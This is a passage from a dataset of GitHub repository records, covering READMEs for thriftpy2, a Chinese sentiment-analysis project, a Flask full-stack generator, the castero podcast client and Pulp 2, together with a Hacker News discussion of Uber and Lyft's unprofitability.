from the thrift module.\n\n- Easy RPC server/client setup.\n\n\n\nContribute\n==========\n\n1. Fork the repo and make changes.\n\n2. Write a test which shows a bug was fixed or the feature works as expected.\n\n3. Make sure ``travis-ci`` or ``tox`` tests succeed.\n\n4. Send pull request.\n\n\nContributors\n============\n\nhttps://github.com/Thriftpy/thriftpy2/graphs/contributors\n\n\nSponsors:\n============\n\n.. image:: ./docs/jetbrains.svg\n    :target: https://www.jetbrains.com/?from=ThriftPy\n\n\nChangelog\n=========\n\nhttps://github.com/Thriftpy/thriftpy2/blob/master/CHANGES.rst\n", "readme_type": "rst", "hn_comments": "Shocker! A product is more popular that is sold below cost and you actually need to charge more for a product than it costs to produce?<HN_SEP>In third world countries like India, Uber and Lyft cannot compete with it\u2019s street smart drives. Drivers call you and ask you to cancel the trip and pay them in cash to take you to the destination. They use Uber/Lyft marketing, tracking, and status but give zero dollars in revenue back.<HN_SEP>I think we're about to see a lot of tech ideas with questionable economics come back to earth.  When the cost of capital was below a single digit, \"parking\" money in a growth bet could vaguely make sense.  After all, someday Uber would figure it out, or get AVs, or .. something?  Better than leaving the money in a .01% money market for 10 years, or parking the money in something with no path for growth like industrials.This problem isn't restricted to startups however, even big tech has big expensive forays into questionable markets.  Meta is building something for a few billion a year, Google has hundreds of strange an unprofitable businesses, and B2B SaaS is full of startups which may actually just be consultancies.A 10-12% cost of capital means that you either need to have a real plan to turn profit in 3 years or investors won't care.  Just breaking even means an opportunity cost of 30%.<HN_SEP>Let's not forget that this kind of venture also destroys the business it was meant to disrupt, at least while the venture money is flowing.Uncreative distruction.Somehow it seems wrong that people can make enough money to buy an island without actually making money.<HN_SEP>Totally unsurprising and still both unprofitable businesses (Lyft, and Uber) 3 years after IPO. [0][0] https://news.ycombinator.com/item?id=21328967<HN_SEP>My favorite feature of Uber and Lyft the last several years is that it's essentially a crowdsourced way to transfer wealth from VCs to random users.Operating every drive at a loss means the rider and drivers benefit and the person holding the bag is some VC who apparently has more money than they know what to do with. Given how many financial structures today seem to flow in the opposite direction and skim a little money from everyone to transfer it to the already-rich, it's nice seeing a system that (completely unintentionally) flows the other way.<HN_SEP>The P2P transportation market is an ideal one for a workers' cooperative. The fact that Uber and Lyft are running at a loss (...for now) does not make them any less rent-seeking in their business model.https://drivers.coop/https://ridefair.io/<HN_SEP>I would like to read an explanation for how Uber and Lyft can't be profitable when taxicab companies can be.<HN_SEP>The broker model has a yes out in the transportation industry, before Uber and Lyft were a twinkle in someones eye. It's a low margin business and has gained efficiency through tech. Once we understand that the gross margins are probably 20%, you are scalping the drivers and no driver can exist successfully living off brokered rides alone, Uber and Lyft will price like CH Robinson.<HN_SEP>   25.\n   Uber and Lyft Are Out of Ideas, Jacking Up Prices in Desperation for Profit (vice.com)\n   127 points by elsewhen 2 hours ago | flag | hide | 179 comments\n\nAbove is what I saw on the HN front page minutes ago.  Then I started reading the comments thread and suddenly the submitted article has changed.  It is now pointing to WSJ instead of VICE.Looks like the original VICE article has even been scrubbed from HN entirely.https://news.ycombinator.com/from?site=vice.comBelow is the original article.https://www.vice.com/en/article/m7vmpb/uber-and-lyft-are-out...<HN_SEP>\u201cI\u2019m not loyal,\u201d said Sergio Avedian, who has driven for seven apps, including Uber and Lyft, and writes about his experience on The RideShare Guy blog for drivers. \u201cNobody is loyal.\u201d<HN_SEP>> the current business model passes off nearly all of the costs of actually running a taxi company onto drivers who pay for their own cars, fuel, and insurance, whereas AVs would have meant both companies would be paying for those things, but that\u2019s a moot point nowI know that Vice is a meme these days, but I can't resist. Where do they think the money is going? Mostly to the fees that are paid to drivers. If those costs are baked in and they are still losing money, it's because they're paying the drivers more than they can afford. They were banking on not having to pay AV drivers wages, sick leave, pensions, have them go on strike, etc etc. Just provide customers a good service for an amount these companies could sustain.Now, that was a wild bet for sure, but not a bad one for humanity to have tried.<HN_SEP>Here's my question: how much will this hurt AWS?  Oh, Uber and Lyft alone won't, of course, even though IIRC their IPO's revealed staggering AWS bills.  But, there are a lot of goofy ideas out there masquerading as companies, and the VC spigot just turned off.  That spigot was pushing VC money, via a very complex system of middlemen, to AWS.If AWS has half their customers disappear, what does that do to Amazon's bottom line?<HN_SEP>Of course they need to make money, they cant subsidise everyone forever<HN_SEP>Url changed from https://www.vice.com/en/article/m7vmpb/uber-and-lyft-are-out..., which points to this.<HN_SEP>I don't use Uber. In my country we have a taxi app which can be used by any taxi driver. So I do have the benefits of Uber - using an app, having a larger pool of drivers to pick from, paying the ride through the app, without any of the downsides of using Uber.The taxi drivers follow local regulations, they have the proper permit to transport people (this requires checking), I don't see ridicoluos price surges and price hikes at rush hours, taxi companies don't evade local taxes like Uber does, the money remain in the local economy, drivers have wages, social insurance, health insurance and pension funds.<HN_SEP>Uber and Lyft already dumped their bags on your 401k.<HN_SEP>Former Lyft engineer here. I'm convinced they will go out of business or sell the scraps to someone... however smart acquirers like Elon wouldn't go near it. Rideshare sucks.<HN_SEP>If you\u2019re arriving at an airport or other high traffic area, you will almost always get a better price and timelier service by simply jumping in a standard taxi. I\u2019d say this has been the case for at least 6-9 months.<HN_SEP>https://archive.ph/bt3bA<HN_SEP>I think we need to stop comparing Uber to Lyft. To me, this is more of a Lyft problem as Uber has diversified way more.<HN_SEP>I've had over 10,000 Uber rides, all black, some SUV since 2011. I would have no problem if they just focused on the higher end of the market where there's profit to be made. I never thought their going down market was a good idea.<HN_SEP>These companies were always net value destroyers. Consumers being subsidized from the pockets of investors was nice while it lasted, but it doesn't make for a sustainable business. Once they go to zero we'll wonder how it ever even appeared to make sense.<HN_SEP>This was always the idea. I remember Jason Calacanis saying on This Week In Startups months ago that Uber is in growth mode, eventually when push comes to shove they'll increase the price to get to profitability and have the market share to stick it out.<HN_SEP>Increased by how much?<HN_SEP>Uber is just a dumpster fire.  I scheduled an airport ride with them and each driver continuously just kept canceling it when they saw where it was going.  Can't imagine how bad it is for someone going to a lower level neighborhood.Can't count on it anymore - going back to manually calling taxis.<HN_SEP>I just do not understand how ridesharing cannot turn a profit. Let's look at unit economics:~25% take rate on a ride ($15 average): $3.75 takePayment processing: 2.5% + 30c = $0.68Servers / datacenters: $0.20 (for a margin-sensitive business, you should be colo'ing your own servers, or using cheap alternatives like OVH/Hertzner)Customer support: Automate as much as possible (auto refunds up to a certain point; for lost items, connect directly to driver); assume 1 in 50 rides require manual human support with a $3 cost = $0.06 support cost per rideFraud/refunds: Assume a 2% fraud rate that cannot be reclaimed; thus $0.30 cost for fraud. Refunds for things like driver purposefully took a longer route can be clawed from the driver.Gross COGS: $1.24Gross profit: $2.51What am I missing?? Marketing? Fuck marketing when you can't turn a profit. Everyone knows about Uber or Lyft already, you need to turn a profit, not waste $30 per CAC.<HN_SEP>I recently got a ridiculous coupon code for 50% off Postmates (Uber Eats) orders, when I did a Google search for Postmates. 5 orders, up to $100 savings on each order, and the code worked on my wife's account too so we get 10 orders. For weeks I've been ordering $200 meals from fancy steakhouses and paying $100, with leftovers for days. Somehow they haven't stopped subsidizing their customers yet.The code is FEAST if anyone cares to try it. Probably expired by now. It doesn't seem to work on Uber Eats, only Postmates.com on desktop web.<HN_SEP>So have they hit price-parity with traditional taxis, yet?<HN_SEP>After Uber and Lyft will fall, I can see a better model coming up.An open source base for a riding/taxi app for which local companies can add their own modules for billing to comply with local regulations.It would be the WordPress of ride sharing / taxi apps.<HN_SEP>I've been noticing more drivers going independent.  When I landed at LAX recently and waited at the taxi area for a Lyft, there were a bunch of drivers coming up and offering people rides, but not through Uber or Lyft.  I thought \"why not\", took one of these independent rides home, and paid the guy through Square.  It wasn't a \"cheap\" ride, but it was cheaper than the Lyft ride I cancelled and I'm sure he made a greater profit than through a \"ride share\" company.That's just one example, but I've noticed this drastically increase in the last year.  Whether I'm at the airport, a train station, or a bus depot, I've been seeing way more independent drivers.What's stopping more drivers from doing this?  If it's the \"trust\" aspect that comes from Uber, then surely there's some system that can meet us halfway that doesn't apparently need large sums of VC money and high fees but at least provides trust and safety for riders.<HN_SEP>So does this mean it's going to begin to become cheaper to use the services of old taxi organizations, who arguably aren't going to have the shareholders to appease to to pad revenues with profits?I really think, in all cases of online platforms, that laws requiring the platform to be transparent with all costs - including how much they keep as a platform, how much they give the actual driver, how much the restaurant gets (if doing delivery) etc. would be highly beneficial, if not necessary, to not only society but also to potential investors.E.g. How sustainable are their prices, and are the billions invested simply subsidizing lower fares to outcompete based on price for a temporary time while fighting over to capture as much of a market (artificially and temporarily?) until the shareholders come knocking asking for the profit tap to get turned on?<HN_SEP>Here in India, its increasingly starting to feel that both Ola and Uber are slowly abandoning the market. Service quality has gone down drastically and Ola seems more interested in making (unsafe) electric scootersIn their heyday, you\u2019d drive around and find that 30-40% of cars on the road were Uber/Ola taxis (cabs here have different colored number plates). Now, its around 5-10%<HN_SEP>Seems unsurprising. The check had to come due eventually. It\u2019ll be interesting to see whether riders keep using it in enough volume to keep them afloat.<HN_SEP>So they made a full circle ... back to taxis?<HN_SEP>> The fundamental problem Uber and Lyft keep running into is that most people are not willing to pay the fares it would cost to run a profitable taxi service with the overhead Uber and Lyft require[surprisedpikachu.gif]<HN_SEP>This was inevitable without automation right?<HN_SEP>Western countries have such a weird problemA seemingly boring business seems unviable.For example, food is expensive, and we have to tip, but restaurant is tough business, and the servers don't make enough for living. Like why the heck is this not viable?<HN_SEP>At markets where Uber has competition. I know  Brazil and Mexico. DiDi pays driver more and charges client less. So DiDi takes less cut than Uber and is still profitable.<HN_SEP>Are traditional taxicab services still alive? How did they survive until this time?<HN_SEP>I wonder how much of this transfers to the music industry. It's much more complicated than the taxi industry, but in broad strokes, VC-subsidized companies basically undercut the combination of record publishers and musicians, setting the price and revenue-per-listen to levels much lower than they would have been without subsidization. But it's also been happening for longer, so I think that it's more like as-if all the taxi drivers had already been driven out of the business and the taxis junked. With taxis, you know if there are no rides available, but with music, you don't really realize all the great music that isn't being written.<HN_SEP>I love threads like this. It assured me of job security in accounting y'all. Thanks for giving me confidence in strange quarters.<HN_SEP>I always figured by now there would be some sort of centralized \"trust\" entity, ala credit bureaus, where you can build apps on top of that using the same \"trust\".Supposing such a thing existed, then drivers could simply offer their own driving services by themselves. Perhaps that's the next evolution here.I used to drive a pretty boring, but predictable route in the morning and in the late afternoon. I would've loved to drive people who are near my destination both ways, but without anyway to trust them, no way.Surely someone has tried to implement this before and failed and I just don't know?<HN_SEP>I can proudly say that I've NEVER ONCE used these NeoSlavery services and never will.<HN_SEP>There's a talk a couple years old now by an Uber engineer called something like \"what I wish I knew before scaling to 10k microservices\", I haven't watched it in a while but when I saw it I remember thinking \"these people are absolutely insane\". I've since heard some crazy stories about things like new services being built because people would rather build a new service than talk to the devs that owned the existing one. I don't know if this is true or not or how widespread this was, but the impression I get is that Uber has massively over-built in an effort to look more like a \"tech\" company rather than a \"taxi\" company to investors.We have a couple of local companies in NY with their own ride-sharing apps. They aren't as polished as Uber, but they do work and the companies that built them have about 1% the staff of Uber.<HN_SEP>VCs are never getting this money back.<HN_SEP>", "gh_updated_time": "", "gh_accessed_time": "", "hn_accessed_time": ""}, {"name": "linguishi/chinese_sentiment", "link": "https://github.com/linguishi/chinese_sentiment", "tags": [], "stars": 518, "description": "\u4e2d\u6587\u60c5\u611f\u5206\u6790\uff0cCNN\uff0cBI-LSTM\uff0c\u6587\u672c\u5206\u7c7b", "lang": "Python", "repo_lang": "", "readme": "# Chinese sentiment analysis\n\nThe essence of Chinese sentiment analysis is the problem of text classification. This project uses **CNN** and **BI-LSTM** two models to solve text classification tasks, and use them for sentiment analysis to achieve good results.\nThe two models are trained on a small data set, and the accuracy rate, number return rate and F1 factor in the verification set are close to **90%**\n\nThe goal of the project design is to accept multiple classification tasks from different corpora. As long as the corpus is prepared in a specific format, parameter adjustment training, export, and serving can begin.\n\n### code environment\nWorks fine under python3.6 & Tensorflow1.13\n\nOther environments may also work, but have not been tested.\n\nYou also need to install the `scikit-learn` package to calculate metrics, including precision-recall and F1 factors, etc.\n\n### Corpus preparation\nThe choice of corpus is *Tan Songbo\u2019s commentary corpus*, with 2000 positive and negative examples each. Belonging to a smaller dataset, this project contains the original corpus, located in `data/hotel_comment/raw_data/corpus.zip`\n\nRun after decompressing `corpus.zip`, and run it on `raw_data`\n```sh\npython fix_corpus.py\n```\nConvert the original `gb2312` encoded file to `utf-8` encoded file.\n\n### Preparation of word vector\nThis experiment uses open source word vectors [*chinese-word-vectors*](https://github.com/Embedding/Chinese-Word-Vectors)\n\nSelect the Word Vector trained by Zhihu corpus. The download address of the selected word vector for this project is https://pan.baidu.com/s/1OQ6fQLCgqT43WTwh5fh_lg, which needs to be downloaded from Baidu Cloud, decompressed, and placed directly in the project directory\n\n### Format of training data\nRefer to `data/hotel_comment/*.txt` files\n\n- step1\n\nThis project divides the data into training set and test set, the ratio is `4:1`, the set of 4000 samples is separated, the training set of 3200 samples, and the verification set of 800.\n\nFor the training set and validation set, follow the format below when making training data:\nIn the `{}.words.txt` file, each line is an input of a sample, and each paragraph is commented on a line, and `jieba` is used to divide words, and words are separated by spaces.\n```text\nExcept for the good location, the others are in a mess and appalling. Almost like a guest house.\nI booked a hotel for my colleague. His brother just came back from Dongguan, and I asked him about his impression of Guangdong Hotel in detail. He said that the hardware and software are excellent! So I would like to praise it\n```\nIn the `{}.labels.txt` file, each line is a label for a sample\n```text\nNEG\nPOS\n```\nIn this project, you can run `build_data.py` in the `data/hotel_comment` directory to get the corresponding format\n\n-step2\n\nBecause this project uses `index_table_from_file` to obtain the id corresponding to the character, two files are required to represent the vocabulary set and the flag set, corresponding to `vocab.labels.txt` and `vocab.words.txt`, where each line represents a word Or a row for a flag.\n\nIn this project, you can run `build_vocab.py` in the `data/hotel_comment` directory to get the corresponding files\n\n- step3\n\nSince the downloaded word vector is very huge, it is necessary to extract the vector corresponding to the characters appearing in the training corpus, which corresponds to the `data/hotel_comment/w2v.npz` file in this project\n\nIn this project, you can run `build_embeddings.py` in the `data/hotel_comment` directory to get the corresponding files\n\n## Model 1: CNN\n#### Structure:\n1. Chinese word Embedding\n2. Multiple fixed-width convolution kernels of different lengths\n3. The maximum pooling layer, each filter output only takes a maximum value\n4. Fully connected\n\n ![Screenshot](https://raw.githubusercontent.com/linguishi/chinese_sentiment/master/pic/%E6%88%AA%E5%9B%BE_%E9%80%89%E6%8B%A9%E5% 8C%BA%E5%9F%9F_20211202181126.png)\nThe picture comes from the paper https://arxiv.org/abs/1408.5882 , but unlike the paper, the paper adopts a pre-train embeddings and an untrained embeddings to form a dual channel similar to the image concept. Only a single channel of pre-trained embeddings is used in this project.\n\nCNN model training, run under the `cnn` directory\n```\npython main.py\n```\n\n#### CNN model training time\nIt takes about 2 minutes under the blessing of **GTX 1060 6G**\n\n#### CNN model training results\nRun under the `model` directory\n\n```\npython score_report.py cnn/results/score/eval.preds.txt\n```\n\noutput:\n```\n              precision recall f1-score support\n\n         POS 0.91 0.87 0.89 400\n         NEG 0.88 0.91 0.89 400\n\n   micro avg 0.89 0.89 0.89 800\n   macro avg 0.89 0.89 0.89 800\nweighted avg 0.89 0.89 0.89 800\n\n```\n\n## Model 2: BI-LSTM\n1. Chinese word Embedding\n2. bi-lstm\n3. Fully connected\n\n![Screenshot](https://raw.githubusercontent.com/linguishi/chinese_sentiment/master/pic/1_GRQ91HNASB7MAJPTTlVvfw.jpeg)\n\n\nBI-LSTM model training, run under the `lstm` directory\n```\npython main.py\n```\n\n#### BI-LSTM model training time\nIt took about 5 minutes under the blessing of **GTX 1060 6G**\n\n#### BI-LSTM model training results\nRun under the `model` directory\n\n```\npython score_report.py lstm/results/score/eval.preds.txt\n```\n\noutput:\n```\n              precision recall f1-score support\n\n         POS 0.90 0.87 0.88 400\n         NEG 0.87 0.91 0.89 400\n\n   micro avg 0.89 0.89 0.89 800\n   macro avg 0.89 0.89 0.89 800\nweighted avg 0.89 0.89 0.89 800\n\n```\n\n### Model export and serving (BI-LSTM as an example)\n#### Model Export\nRun under the `lstm` directory\n```\npython export.py\n```\nExport `estimator` inference graph, which can be used as prediction. This project has uploaded `saved_model`, which can be tested directly without training.\n\nRun `python serve.py` under the `model/lstm` directory to use the exported model for entity recognition. See code for details.\n\nTest Results\n\n![Screenshot](https://raw.githubusercontent.com/linguishi/chinese_sentiment/master/pic/clip.png)\n\nAlthough the model is trained from real comment data, the length of these data varies (some word segmentation length exceeds 1000), but from the above figure, the model can perform well on short comments.\n\n ## refer to\n \n [1] http://www.wildml.com/2015/12/implementing-a-cnn-for-text-classification-in-tensorflow/\n \n [2] https://arxiv.org/abs/1408.5882", "readme_type": "markdown", "hn_comments": "", "gh_updated_time": "", "gh_accessed_time": "", "hn_accessed_time": ""}, {"name": "tiangolo/full-stack", "link": "https://github.com/tiangolo/full-stack", "tags": ["python", "flask", "docker", "traefik", "letsencrypt", "swagger", "celery", "sqlalchemy", "api", "jwt", "angular", "cookiecutter", "generator", "swarm-mode", "token-authetication", "webargs", "marshmallow", "postgresql", "pgadmin", "apispec"], "stars": 515, "description": "Full stack, modern web application generator. Using Flask, PostgreSQL DB, Docker, Swagger, automatic HTTPS and more.", "lang": "Python", "repo_lang": "", "readme": "## \ud83d\udea8 DEPRECATION WARNING \ud83d\udea8\n\nAs [**FastAPI**](https://github.com/tiangolo/fastapi) and the [equivalent project generator](https://github.com/tiangolo/full-stack-fastapi-postgresql) provide a much better solution to all the use cases this project was built for, all the future development will be done there.\n\nYou are still free to use this project, but it won't receive any new features, changes, or bug fixes.\n\nIf you are starting a new project from scratch, check the alternatives at the [FastAPI docs: Project Generation](https://fastapi.tiangolo.com/project-generation/).\n\n# Full Stack Flask and PostgreSQL - Base Project Generator\n\n[![Build Status](https://travis-ci.org/tiangolo/full-stack.svg?branch=master)](https://travis-ci.org/tiangolo/full-stack)\n\nGenerate a backend and frontend stack using Python, including interactive API documentation.\n\n[![Screenshot](screenshot.png)](https://github.com/tiangolo/full-stack)\n\n## Notice: Flask or [FastAPI](https://github.com/tiangolo/fastapi)\n\nIf you are using this project (or Flask in general to create web APIs) you would probably benefit more from [FastAPI](https://github.com/tiangolo/fastapi).\n\nYou can use the equivalent sibling project generator based on **FastAPI**: [https://github.com/tiangolo/full-stack-fastapi-postgresql](https://github.com/tiangolo/full-stack-fastapi-postgresql). It also has more features than this one.\n\n**FastAPI** was created from the learnings acquired while creating and using these project generators for Flask, with all the plug-ins and ideas.\n\n* **FastAPI** (and its project generators), would give you about 800% (8x) the performance achievable with this one.\n* Writing code in **FastAPI** is about 200% to 300% faster. Because you write a lot less code, it is designed for web APIs, and you have auto-complete everywhere.\n* About 40% of the human (developer) induced errors can be reduced (**FastAPI** does a lot of the data validation, conversion and documentation for you).\n\n---\n\n## Features\n\n* Full **Docker** integration (Docker based)\n* Docker Swarm Mode deployment\n* **Docker Compose** integration and optimization for local development\n* **Production ready** Python web server using Nginx and uWSGI\n* Python **Flask** backend with:\n  * **Flask-apispec**: Swagger live documentation generation\n  * **Marshmallow**: model and data serialization (convert model objects to JSON)\n  * **Webargs**: parse, validate and document inputs to the endpoint / route\n  * **Secure password** hashing by default\n  * **JWT token** authentication\n  * **SQLAlchemy** models (independent of Flask extensions, so they can be used with Celery workers directly)\n  * Basic starting models for users and groups (modify and remove as you need)\n  * **Alembic** migrations\n  * **CORS** (Cross Origin Resource Sharing)\n* **Celery** worker that can import and use models and code from the rest of the backend selectively (you don't have to install the complete app in each worker)\n* REST backend tests based on **Pytest**, integrated with Docker, so you can test the full API interaction, independent on the database. As it runs in Docker, it can build a new data store from scratch each time (so you can use ElasticSearch, MongoDB, CouchDB, or whatever you want, and just test that the API works)\n* Easy Python integration with **Jupyter Kernels** for remote or in-Docker development with extensions like Atom Hydrogen or Visual Studio Code Jupyter\n* Vue frontend:\n  * Generated with **Vue CLI**\n  * JWT Authentication handling\n  * Login view\n  * After login, main dashboard view\n  * **Vuex**\n  * **Vue-router**\n  * **Vuetify** for beautiful material design components\n  * **TypeScript**\n  * Docker server based on **Nginx** (configured to play nicely with Vue-router)\n  * Docker multi-stage building, so you don't need to save or commit compiled code\n  * Frontend tests ran at build time (can be disabled too)\n  * Made as modular as possible, so it works out of the box, but you can re-generate with Vue CLI or create it as you need, and re-use what you want\n* **PGAdmin** for PostgreSQL database, you can modify it to use PHPMyAdmin and MySQL easily\n* **Swagger-UI** for live interactive documentation\n* **Flower** for Celery jobs monitoring\n* Load balancing between frontend and backend with **Traefik**, so you can have both under the same domain, separated by path, but served by different containers\n* Traefik integration, including Let's Encrypt **HTTPS** certificates automatic generation\n* **GitLab CI** (continuous integration), including frontend and backend testing\n\n## How to use it\n\nGo to the directoy where you want to create your project and run:\n\n```bash\npip install cookiecutter\ncookiecutter https://github.com/tiangolo/full-stack\n```\n\n### Generate passwords\n\nYou will be asked to provide passwords and secret keys for several components. Open another terminal and run:\n\n```bash\nopenssl rand -hex 32\n# Outputs something like: 99d3b1f01aa639e4a76f4fc281fc834747a543720ba4c8a8648ba755aef9be7f\n```\n\nCopy the contents and use that as password / secret key. And run that again to generate another secure key.\n\n\n### Input variables\n\nThe generator (cookiecutter) will ask you for some data, you might want to have at hand before generating the project.\n\nThe input variables, with their default values (some auto generated) are:\n\n* `project_name`: The name of the project\n* `project_slug`: The development friendly name of the project. By default, based on the project name\n* `domain_main`: The domain in where to deploy the project for production (from the branch `production`), used by the load balancer, backend, etc. By default, based on the project slug.\n* `domain_staging`: The domain in where to deploy while staging (before production) (from the branch `master`). By default, based on the main domain.\n\n* `docker_swarm_stack_name_main`: The name of the stack while deploying to Docker in Swarm mode for production. By default, based on the domain.\n* `docker_swarm_stack_name_staging`: The name of the stack while deploying to Docker in Swarm mode for staging. By default, based on the domain.\n\n* `secret_key`: Backend server secret key. Use the method above to generate it.\n* `first_superuser`: The first superuser generated, with it you will be able to create more users, etc. By default, based on the domain.\n* `first_superuser_password`: First superuser password. Use the method above to generate it.\n* `backend_cors_origins`: Origins (domains, more or less) that are enabled for CORS (Cross Origin Resource Sharing). This allows a frontend in one domain (e.g. `https://dashboard.example.com`) to communicate with this backend, that could be living in another domain (e.g. `https://api.example.com`). It can also be used to allow your local frontend (with a custom `hosts` domain mapping, as described in the project's `README.md`) that could be living in `http://dev.example.com:8080` to cummunicate with the backend at `https://stag.example.com`. Notice the `http` vs `https` and the `dev.` prefix for local development vs the \"staging\" `stag.` prefix. By default, it includes origins for production, staging and development, with ports commonly used during local development by several popular frontend frameworks (Vue with `:8080`, React, Angular).\n \n* `postgres_password`: Postgres database password. Use the method above to generate it. (You could easily modify it to use MySQL, MariaDB, etc).\n* `pgadmin_default_user`: PGAdmin default user, to log-in to the PGAdmin interface.\n* `pgadmin_default_user_password`: PGAdmin default user password. Generate it with the method above.\n \n* `traefik_constraint_tag`: The tag to be used by the internal Traefik load balancer (for example, to divide requests between backend and frontend) for production. Used to separate this stack from any other stack you might have. This should identify each stack in each environment (production, staging, etc).\n* `traefik_constraint_tag_staging`: The Traefik tag to be used while on staging. \n* `traefik_public_network`: This assumes you have another separate publicly facing Traefik at the server / cluster level. This is the network that main Traefik lives in.\n* `traefik_public_constraint_tag`: The tag that should be used by stack services that should communicate with the public.\n\n* `flower_auth`: Basic HTTP authentication for flower, in the form`user:password`. By default: \"`root:changethis`\".\n\n* `sentry_dsn`: Key URL (DSN) of Sentry, for live error reporting. If you are not using it yet, you should, is open source. E.g.: `https://1234abcd:5678ef@sentry.example.com/30`.\n\n* `docker_image_prefix`: Prefix to use for Docker image names. If you are using GitLab Docker registry it would be based on your code repository. E.g.: `git.example.com/development-team/my-awesome-project/`.\n* `docker_image_backend`: Docker image name for the backend. By default, it will be based on your Docker image prefix, e.g.: `git.example.com/development-team/my-awesome-project/backend`. And depending on your environment, a different tag will be appended ( `prod`, `stag`, `branch` ). So, the final image names used will be like: `git.example.com/development-team/my-awesome-project/backend:prod`.\n* `docker_image_celeryworker`: Docker image for the celery worker. By default, based on your Docker image prefix.\n* `docker_image_frontend`: Docker image for the frontend. By default, based on your Docker image prefix.\n\n## How to deploy\n\nThis stack can be adjusted and used with several deployment options that are compatible with Docker Compose, but it is designed to be used in a cluster controlled with pure Docker in Swarm Mode with a Traefik main load balancer proxy handling automatic HTTPS certificates, using the ideas from <a href=\"https://dockerswarm.rocks\" target=\"_blank\">DockerSwarm.rocks</a>.\n\nPlease refer to <a href=\"https://dockerswarm.rocks\" target=\"_blank\">DockerSwarm.rocks</a> to see how to deploy such a cluster in 20 minutes.\n\n## More details\n\nAfter using this generator, your new project (the directory created) will contain an extensive `README.md` with instructions for development, deployment, etc. You can pre-read [the project `README.md` template here too](./{{cookiecutter.project_slug}}/README.md).\n\n## History\n\n**Note about Angular**: a previous version of this project generated a basic default Angular frontend application, but without any view or interaction with the rest of the stack (the backend API). I recently switched to Vue for frontend and used it to created the basic frontend views for this project (that didn't exist before). If you are interested in keeping the Angular version, let me know in an issue, I can create an Angular version of the project (without the current default views), then you can integrate your Angular app with the basic `Dockerfile` and additional files.\n\nThis project was based on [senseta-os/senseta-base-project](https://github.com/senseta-os/senseta-base-project).\n\nAs [I was the only maintainer](https://github.com/tiangolo), I'm continuing the development in this fork (https://github.com/tiangolo/full-stack).\n\n## License\n\nThis project is licensed under the terms of the MIT license.\n", "readme_type": "markdown", "hn_comments": "", "gh_updated_time": "", "gh_accessed_time": "", "hn_accessed_time": ""}, {"name": "xgi/castero", "link": "https://github.com/xgi/castero", "tags": ["podcast-client", "podcast", "command-line", "terminal", "tui", "curses", "hacktoberfest"], "stars": 515, "description": "TUI podcast client for the terminal", "lang": "Python", "repo_lang": "", "readme": "# castero\n\n[![GitHub release](https://img.shields.io/github/release/xgi/castero.svg?style=flat-square)](https://github.com/xgi/castero/releases) [![PyPI](https://img.shields.io/pypi/v/castero.svg?style=flat-square)](https://pypi.org/project/castero) [![GitHub Build](https://img.shields.io/github/workflow/status/xgi/castero/CI?style=flat-square)](https://circleci.com/gh/xgi/castero/tree/master) [![Maintainability](https://api.codeclimate.com/v1/badges/babcaad5cb2cca266c92/maintainability)](https://codeclimate.com/github/xgi/castero/maintainability) [![Test Coverage](https://api.codeclimate.com/v1/badges/babcaad5cb2cca266c92/test_coverage)](https://codeclimate.com/github/xgi/castero/test_coverage)\n\ncastero is a TUI podcast client for the terminal.\n\n![example client screenshot](https://raw.githubusercontent.com/xgi/castero/master/res/client_example.png)\n\n## Installation\n\nInstall from [PyPi](https://pypi.org/project/castero) with pip:\n\n```bash\n$ pip3 install castero\n```\n\nUpgrading:\n\n```bash\n$ pip3 install castero --upgrade\n```\n\n### Manual Installation\n\n```bash\n$ git clone https://github.com/xgi/castero\n$ cd castero\n$ sudo python setup.py install\n```\n\n## Dependencies\n\nRunning castero requires the following external dependencies:\n\n* Python >= 3.5 (check the output of ``python --version``)\n* sqlite3\n* At least one of the following media players:\n  * vlc >= 2.2.3\n  * (mpv and libmpv) >= 0.14.0\n  \n## Usage\n\nAfter installing castero, it can be run with simply:\n\n```bash\n$ castero\n```\n\nThe help menu provides a list of controls and can be accessed by pressing\n<kbd>h</kbd>. Alternatively, see the list below:\n\n```text\nCommands\n    h           - show this help screen\n    q           - exit the client\n    a           - add a feed\n    d           - delete the selected feed\n    r           - reload/refresh feeds\n    s           - save episode for offline playback\n    UP/DOWN     - navigate up/down in menus\n    RIGHT/LEFT  - navigate right/left in menus\n    PPAGE/NPAGE - scroll up/down in menus\n    ENTER       - play selected feed/episode\n    SPACE       - add selected feed/episode to queue\n    c           - clear the queue\n    n           - go to the next episode in the queue\n    i           - invert the order of the menu\n    /           - filter the contents of the menu\n    m           - mark episode as played/unplayed\n    p or k      - pause/play the current episode\n    f or l      - seek forward\n    b or j      - seek backward\n    =/-         - increase/decrease volume\n    ]/[         - increase/decrease playback speed\n    u           - show episode URL\n    1-5         - change between client layouts\n```\n\n### Importing/exporting feeds from another client\n\ncastero supports importing and exporting an [OPML file](https://en.wikipedia.org/wiki/OPML)\nof your subscriptions in order to easily transfer them between other podcast\nclients. Please refer to your other client's documentation for details on\nhow/if it supports this format.\n\nImporting and exporting from castero are available with command line flags.\nRun `castero --help` for details.\n\n## Configuration\n\nThe configuration file is located at `{HOME}/.config/castero/castero.conf`\nafter the client has been run at least once.\n\nPlease see the [default castero.conf](https://github.com/xgi/castero/blob/master/castero/templates/castero.conf)\nfor a list of available settings.\n\nUser data, including downloaded episodes and a database with your feed\ninformation, is located at `{HOME}/.local/share/castero/`. These files are not\nintended to be manually modified. Removing the database will simply cause\ncastero to replace it with an empty one the next time you run the client.\n\n## Testing\n\nThis project uses [pytest](https://pytest.org) for testing. To run tests, run\nthe following command in the project's root directory:\n\n```bash\n$ python -m pytest tests\n```\n\nYou can also run tests for an individual unit, i.e.:\n\n```bash\n$ python -m pytest tests/test_feed.py\n```\n\n## License\n\n[MIT License](https://github.com/xgi/castero/blob/master/LICENSE.txt)\n", "readme_type": "markdown", "hn_comments": "", "gh_updated_time": "", "gh_accessed_time": "", "hn_accessed_time": ""}, {"name": "pulp/pulp", "link": "https://github.com/pulp/pulp", "tags": [], "stars": 515, "description": "\u26d4\ufe0fPulp2 is EOL! \u26d4\ufe0fPulp 2 platform code, including the server and base admin and consumer clients", "lang": "Python", "repo_lang": "", "readme": ":warning: \u26d4\ufe0f Pulp2 is EOL as of November 30 2022, for more info visit this link https://pulpproject.org/2022/09/19/pulp-2-eol/. \u26d4\ufe0f\n\nPulp is a platform for managing repositories of content, such as software\npackages, and pushing that content out to large numbers of consumers.\n\nFor more information, check out the project website:\n\nhttp://www.pulpproject.org\n", "readme_type": "text", "hn_comments": "Clickable links: https://terminusdb.com/ https://github.com/GavinMendelGleason/blog/blob/main/entries...<HN_SEP>The author is pessimistic about Beeper's future. They will be happy to learn that the EU will basically force messaging interoperability in the next 2 